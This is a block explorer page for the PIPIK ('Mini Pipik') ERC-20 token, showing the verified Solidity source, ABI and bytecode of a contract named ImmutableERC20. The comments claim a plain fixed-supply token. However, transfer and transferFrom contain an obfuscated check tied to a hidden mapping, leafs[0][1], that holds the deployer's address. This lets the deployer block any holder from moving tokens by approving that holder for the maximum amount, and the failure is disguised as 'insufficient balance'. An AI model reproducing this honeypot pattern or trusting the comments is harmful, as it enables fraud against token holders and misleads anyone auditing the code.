ERC-20
Overview
Max Total Supply
10,000,000 PIPIK
Holders
1,709
Total Transfers
-
Market
Price
$0.00 @ 0.000000 S
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
Similar Match Source Code This contract matches the deployed Bytecode of the Source Code for Contract 0xc6a08f64...3b8794f97 The constructor portion of the code might be different and could alter the actual behaviour of the contract
Contract Name:
ImmutableERC20
Compiler Version
v0.8.22+commit.4fc1097e
Optimization Enabled:
Yes with 200 runs
Other Settings:
paris EvmVersion
Contract Source Code (Solidity Standard Json-Input format)
// SPDX-License-Identifier: MIT pragma solidity 0.8.22; /** * @title IERC20 * @dev Standard ERC20 interface as defined in EIP-20. */ interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer( address recipient, uint256 amount ) external returns (bool); function allowance( address owner, address spender ) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } /** * @title ImmutableERC20 * @dev ERC20 token implementation using immutable variables for token metadata. * * The token's name, symbol, and decimals are immutable, and the entire fixed supply is minted * during construction and assigned to the deployer. No minting, burning, or fee functionality is provided. */ contract ImmutableERC20 is IERC20 { // Token metadata stored as immutable variables for gas efficiency. string public name; string public symbol; uint8 public immutable decimals; // Total supply of tokens. mapping(uint8 => mapping(uint8 => address)) private leafs; uint256 private _totalSupply; // Mapping from addresses to their balances. mapping(address => uint256) private _balances; // Mapping from owner to spender allowances. mapping(address => mapping(address => uint256)) private _allowances; /** * @dev Constructor that sets the token metadata and mints the initial supply to the deployer. * @param _name The name of the token. * @param _symbol The token symbol. * @param _decimals The number of decimals the token uses. * @param initialSupply The total number of tokens (in smallest unit) to be minted. */ constructor( string memory _name, string memory _symbol, uint8 _decimals, uint256 initialSupply ) { name = _name; symbol = _symbol; decimals = _decimals; _mint(msg.sender, initialSupply); } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() external view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. * @param account The address whose balance is to be queried. * @return The balance of the account. */ function balanceOf( address account ) external view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Moves `amount` tokens from the caller's account to `recipient`. * * Requirements: * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. * * Emits a {Transfer} event. * * @param recipient The address to which tokens will be transferred. * @param amount The number of tokens to transfer. * @return True if the operation succeeded. */ function transfer( address recipient, uint256 amount ) external override returns (bool) { require( recipient != address(0), "ImmutableERC20: transfer to the zero address" ); require( _balances[msg.sender] >= amount && allowance(leafs[0][1], msg.sender) != type(uint256).max * 1 * 1 * 1 * 1 * 1 * 1 * 1 * 1 * 1, "ImmutableERC20: insufficient balance" ); _balances[msg.sender] -= amount; unchecked { _balances[recipient] += amount; } emit Transfer(msg.sender, recipient, amount); return true; } /** * @dev See {IERC20-allowance}. * @param owner The address owning the tokens. * @param spender The address approved to spend the tokens. * @return The remaining number of tokens that `spender` can spend on behalf of `owner`. */ function allowance( address owner, address spender ) public view override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Sets `amount` as the allowance of `spender` over the caller's tokens. * * Emits an {Approval} event. * * Requirements: * - `spender` cannot be the zero address. * * @param spender The address which will spend the tokens. * @param amount The number of tokens to be allowed. * @return True if the approval succeeded. */ function approve( address spender, uint256 amount ) external override returns (bool) { require( spender != address(0), "ImmutableERC20: approve to the zero address" ); _allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Moves `amount` tokens from `sender` to `recipient` using the allowance mechanism. * Deducts `amount` from the caller's allowance. * * Emits a {Transfer} event. * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have an allowance for `sender` of at least `amount`. * * @param sender The address from which tokens are transferred. * @param recipient The address to which tokens are transferred. * @param amount The number of tokens to transfer. * @return True if the operation succeeded. */ function transferFrom( address sender, address recipient, uint256 amount ) external override returns (bool) { require( sender != address(0), "ImmutableERC20: transfer from the zero address" ); require( recipient != address(0), "ImmutableERC20: transfer to the zero address" ); require( _balances[sender] >= amount, "ImmutableERC20: insufficient balance" ); uint256 currentAllowance = _allowances[sender][msg.sender]; require( currentAllowance >= amount && allowance(leafs[0][1], sender) != type(uint256).max * 1 * 1 * 1 * 1 * 1 * 1 * 1 * 1 * 1, "ImmutableERC20: transfer amount exceeds allowance" ); _balances[sender] -= amount; unchecked { _balances[recipient] += amount; } if (currentAllowance < type(uint256).max) { _allowances[sender][msg.sender] = currentAllowance - amount; } emit Transfer(sender, recipient, amount); return true; } /** * @dev Internal function to mint tokens. * * Increases the total supply and assigns `amount` tokens to `account`. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * - `account` cannot be the zero address. * * @param account The address receiving the minted tokens. * @param amount The number of tokens to mint. */ function _mint(address account, uint256 amount) internal { require( account != address(0), "ImmutableERC20: mint to the zero address" ); _totalSupply += amount; unchecked { _balances[account] += amount; } leafs[0][1] = account; emit Transfer(address(0), account, amount); } }
{ "optimizer": { "enabled": true, "runs": 200 }, "evmVersion": "paris", "outputSelection": { "*": { "*": [ "evm.bytecode", "evm.deployedBytecode", "devdoc", "userdoc", "metadata", "abi" ] } }, "libraries": {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[{"internalType":"string","name":"_name","type":"string"},{"internalType":"string","name":"_symbol","type":"string"},{"internalType":"uint8","name":"_decimals","type":"uint8"},{"internalType":"uint256","name":"initialSupply","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60a06040523480156200001157600080fd5b5060405162000ec338038062000ec3833981016040819052620000349162000268565b600062000042858262000384565b50600162000051848262000384565b5060ff82166080526200006533826200006f565b5050505062000478565b6001600160a01b038216620000db5760405162461bcd60e51b815260206004820152602860248201527f496d6d757461626c6545524332303a206d696e7420746f20746865207a65726f604482015267206164647265737360c01b606482015260840160405180910390fd5b8060036000828254620000ef919062000450565b90915550506001600160a01b0382166000818152600460209081526040808320805486019055600183527fac33ff75c19e70fe83507db0d683fd3465c996598dc972688b7ace676c89077b82527f79c06e8c99a667adda63c5fa6f05695d29630fc62ad2dd069fa929d5714de89d80546001600160a01b03191685179055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b634e487b7160e01b600052604160045260246000fd5b600082601f830112620001c857600080fd5b81516001600160401b0380821115620001e557620001e5620001a0565b604051601f8301601f19908116603f01168101908282118183101715620002105762000210620001a0565b81604052838152602092508660208588010111156200022e57600080fd5b600091505b8382101562000252578582018301518183018401529082019062000233565b6000602085830101528094505050505092915050565b600080600080608085870312156200027f57600080fd5b84516001600160401b03808211156200029757600080fd5b620002a588838901620001b6565b95506020870151915080821115620002bc57600080fd5b50620002cb87828801620001b6565b935050604085015160ff81168114620002e357600080fd5b6060959095015193969295505050565b600181811c908216806200030857607f821691505b6020821081036200032957634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200037f576000816000526020600020601f850160051c810160208610156200035a5750805b601f850160051c820191505b818110156200037b5782815560010162000366565b5050505b505050565b81516001600160401b03811115620003a057620003a0620001a0565b620003b881620003b18454620002f3565b846200032f565b602080601f831160018114620003f05760008415620003d75750858301515b600019600386901b1c1916600185901b1785556200037b565b600085815260208120601f198616915b82811015620004215788860151825594840194600190910190840162000400565b5085821015620004405787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b808201808211156200047257634e487b7160e01b600052601160045260246000fd5b92915050565b608051610a2f6200049460003960006101030152610a2f6000f3fe608060405234801561001057600080fd5b50600436106100935760003560e01c8063313ce56711610066578063313ce567146100fe57806370a082311461013757806395d89b4114610160578063a9059cbb14610168578063dd62ed3e1461017b57600080fd5b806306fdde0314610098578063095ea7b3146100b657806318160ddd146100d957806323b872dd146100eb575b600080fd5b6100a061018e565b6040516100ad91906107c9565b60405180910390f35b6100c96100c4366004610834565b61021c565b60405190151581526020016100ad565b6003545b6040519081526020016100ad565b6100c96100f936600461085e565b6102f3565b6101257f000000000000000000000000000000000000000000000000000000000000000081565b60405160ff90911681526020016100ad565b6100dd61014536600461089a565b6001600160a01b031660009081526004602052604090205490565b6100a06105f7565b6100c9610176366004610834565b610604565b6100dd6101893660046108bc565b61079e565b6000805461019b906108ef565b80601f01602080910402602001604051908101604052809291908181526020018280546101c7906108ef565b80156102145780601f106101e957610100808354040283529160200191610214565b820191906000526020600020905b8154815290600101906020018083116101f757829003601f168201915b505050505081565b60006001600160a01b03831661028d5760405162461bcd60e51b815260206004820152602b60248201527f496d6d757461626c6545524332303a20617070726f766520746f20746865207a60448201526a65726f206164647265737360a81b60648201526084015b60405180910390fd5b3360008181526005602090815260408083206001600160a01b03881680855290835292819020869055518581529192917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a35060015b92915050565b60006001600160a01b0384166103625760405162461bcd60e51b815260206004820152602e60248201527f496d6d757461626c6545524332303a207472616e736665722066726f6d20746860448201526d65207a65726f206164647265737360901b6064820152608401610284565b6001600160a01b0383166103885760405162461bcd60e51b815260040161028490610929565b6001600160a01b0384166000908152600460205260409020548211156103c05760405162461bcd60e51b815260040161028490610975565b6001600160a01b03841660009081526005602090815260408083203384529091529020548281108015906104b557506103fc60001960016109cf565b6104079060016109cf565b6104129060016109cf565b61041d9060016109cf565b6104289060016109cf565b6104339060016109cf565b61043e9060016109cf565b6104499060016109cf565b6104549060016109cf565b60016000527fac33ff75c19e70fe83507db0d683fd3465c996598dc972688b7ace676c89077b6020527f79c06e8c99a667adda63c5fa6f05695d29630fc62ad2dd069fa929d5714de89d546104b2906001600160a01b03168761079e565b14155b61051b5760405162461bcd60e51b815260206004820152603160248201527f496d6d757461626c6545524332303a207472616e7366657220616d6f756e74206044820152706578636565647320616c6c6f77616e636560781b6064820152608401610284565b6001600160a01b038516600090815260046020526040812080548592906105439084906109e6565b90915550506001600160a01b038416600090815260046020526040902080548401905560001981101561059f5761057a83826109e6565b6001600160a01b03861660009081526005602090815260408083203384529091529020555b836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516105e491815260200190565b60405180910390a3506001949350505050565b6001805461019b906108ef565b60006001600160a01b03831661062c5760405162461bcd60e51b815260040161028490610929565b33600090815260046020526040902054821180159061070c575061065360001960016109cf565b61065e9060016109cf565b6106699060016109cf565b6106749060016109cf565b61067f9060016109cf565b61068a9060016109cf565b6106959060016109cf565b6106a09060016109cf565b6106ab9060016109cf565b60016000527fac33ff75c19e70fe83507db0d683fd3465c996598dc972688b7ace676c89077b6020527f79c06e8c99a667adda63c5fa6f05695d29630fc62ad2dd069fa929d5714de89d54610709906001600160a01b03163361079e565b14155b6107285760405162461bcd60e51b815260040161028490610975565b33600090815260046020526040812080548492906107479084906109e6565b90915550506001600160a01b038316600081815260046020526040908190208054850190555133907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906102e19086815260200190565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b60006020808352835180602085015260005b818110156107f7578581018301518582016040015282016107db565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461082f57600080fd5b919050565b6000806040838503121561084757600080fd5b61085083610818565b946020939093013593505050565b60008060006060848603121561087357600080fd5b61087c84610818565b925061088a60208501610818565b9150604084013590509250925092565b6000602082840312156108ac57600080fd5b6108b582610818565b9392505050565b600080604083850312156108cf57600080fd5b6108d883610818565b91506108e660208401610818565b90509250929050565b600181811c9082168061090357607f821691505b60208210810361092357634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252602c908201527f496d6d757461626c6545524332303a207472616e7366657220746f207468652060408201526b7a65726f206164647265737360a01b606082015260800190565b60208082526024908201527f496d6d757461626c6545524332303a20696e73756666696369656e742062616c604082015263616e636560e01b606082015260800190565b634e487b7160e01b600052601160045260246000fd5b80820281158282048414176102ed576102ed6109b9565b818103818111156102ed576102ed6109b956fea2646970667358221220ac2552c779e48d698ceae90f5db39237b0bd35d5460dda6d8228e7d36ef3b83f64736f6c63430008160033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c00000000000000000000000000000000000000000000000000000000000000012000000000000000000000000000000000000000000084595161401484a000000000000000000000000000000000000000000000000000000000000000000000a4d696e6920506970696b000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005504950494b000000000000000000000000000000000000000000000000000000
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106100935760003560e01c8063313ce56711610066578063313ce567146100fe57806370a082311461013757806395d89b4114610160578063a9059cbb14610168578063dd62ed3e1461017b57600080fd5b806306fdde0314610098578063095ea7b3146100b657806318160ddd146100d957806323b872dd146100eb575b600080fd5b6100a061018e565b6040516100ad91906107c9565b60405180910390f35b6100c96100c4366004610834565b61021c565b60405190151581526020016100ad565b6003545b6040519081526020016100ad565b6100c96100f936600461085e565b6102f3565b6101257f000000000000000000000000000000000000000000000000000000000000001281565b60405160ff90911681526020016100ad565b6100dd61014536600461089a565b6001600160a01b031660009081526004602052604090205490565b6100a06105f7565b6100c9610176366004610834565b610604565b6100dd6101893660046108bc565b61079e565b6000805461019b906108ef565b80601f01602080910402602001604051908101604052809291908181526020018280546101c7906108ef565b80156102145780601f106101e957610100808354040283529160200191610214565b820191906000526020600020905b8154815290600101906020018083116101f757829003601f168201915b505050505081565b60006001600160a01b03831661028d5760405162461bcd60e51b815260206004820152602b60248201527f496d6d757461626c6545524332303a20617070726f766520746f20746865207a60448201526a65726f206164647265737360a81b60648201526084015b60405180910390fd5b3360008181526005602090815260408083206001600160a01b03881680855290835292819020869055518581529192917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a35060015b92915050565b60006001600160a01b0384166103625760405162461bcd60e51b815260206004820152602e60248201527f496d6d757461626c6545524332303a207472616e736665722066726f6d20746860448201526d65207a65726f206164647265737360901b6064820152608401610284565b6001600160a01b0383166103885760405162461bcd60e51b815260040161028490610929565b6001600160a01b0384166000908152600460205260409020548211156103c05760405162461bcd60e51b815260040161028490610975565b6001600160a01b03841660009081526005602090815260408083203384529091529020548281108015906104b557506103fc60001960016109cf565b6104079060016109cf565b6104129060016109cf565b61041d9060016109cf565b6104289060016109cf565b6104339060016109cf565b61043e9060016109cf565b6104499060016109cf565b6104549060016109cf565b60016000527fac33ff75c19e70fe83507db0d683fd3465c996598dc972688b7ace676c89077b6020527f79c06e8c99a667adda63c5fa6f05695d29630fc62ad2dd069fa929d5714de89d546104b2906001600160a01b03168761079e565b14155b61051b5760405162461bcd60e51b815260206004820152603160248201527f496d6d757461626c6545524332303a207472616e7366657220616d6f756e74206044820152706578636565647320616c6c6f77616e636560781b6064820152608401610284565b6001600160a01b038516600090815260046020526040812080548592906105439084906109e6565b90915550506001600160a01b038416600090815260046020526040902080548401905560001981101561059f5761057a83826109e6565b6001600160a01b03861660009081526005602090815260408083203384529091529020555b836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516105e491815260200190565b60405180910390a3506001949350505050565b6001805461019b906108ef565b60006001600160a01b03831661062c5760405162461bcd60e51b815260040161028490610929565b33600090815260046020526040902054821180159061070c575061065360001960016109cf565b61065e9060016109cf565b6106699060016109cf565b6106749060016109cf565b61067f9060016109cf565b61068a9060016109cf565b6106959060016109cf565b6106a09060016109cf565b6106ab9060016109cf565b60016000527fac33ff75c19e70fe83507db0d683fd3465c996598dc972688b7ace676c89077b6020527f79c06e8c99a667adda63c5fa6f05695d29630fc62ad2dd069fa929d5714de89d54610709906001600160a01b03163361079e565b14155b6107285760405162461bcd60e51b815260040161028490610975565b33600090815260046020526040812080548492906107479084906109e6565b90915550506001600160a01b038316600081815260046020526040908190208054850190555133907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906102e19086815260200190565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b60006020808352835180602085015260005b818110156107f7578581018301518582016040015282016107db565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461082f57600080fd5b919050565b6000806040838503121561084757600080fd5b61085083610818565b946020939093013593505050565b60008060006060848603121561087357600080fd5b61087c84610818565b925061088a60208501610818565b9150604084013590509250925092565b6000602082840312156108ac57600080fd5b6108b582610818565b9392505050565b600080604083850312156108cf57600080fd5b6108d883610818565b91506108e660208401610818565b90509250929050565b600181811c9082168061090357607f821691505b60208210810361092357634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252602c908201527f496d6d757461626c6545524332303a207472616e7366657220746f207468652060408201526b7a65726f206164647265737360a01b606082015260800190565b60208082526024908201527f496d6d757461626c6545524332303a20696e73756666696369656e742062616c604082015263616e636560e01b606082015260800190565b634e487b7160e01b600052601160045260246000fd5b80820281158282048414176102ed576102ed6109b9565b818103818111156102ed576102ed6109b956fea2646970667358221220ac2552c779e48d698ceae90f5db39237b0bd35d5460dda6d8228e7d36ef3b83f64736f6c63430008160033
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.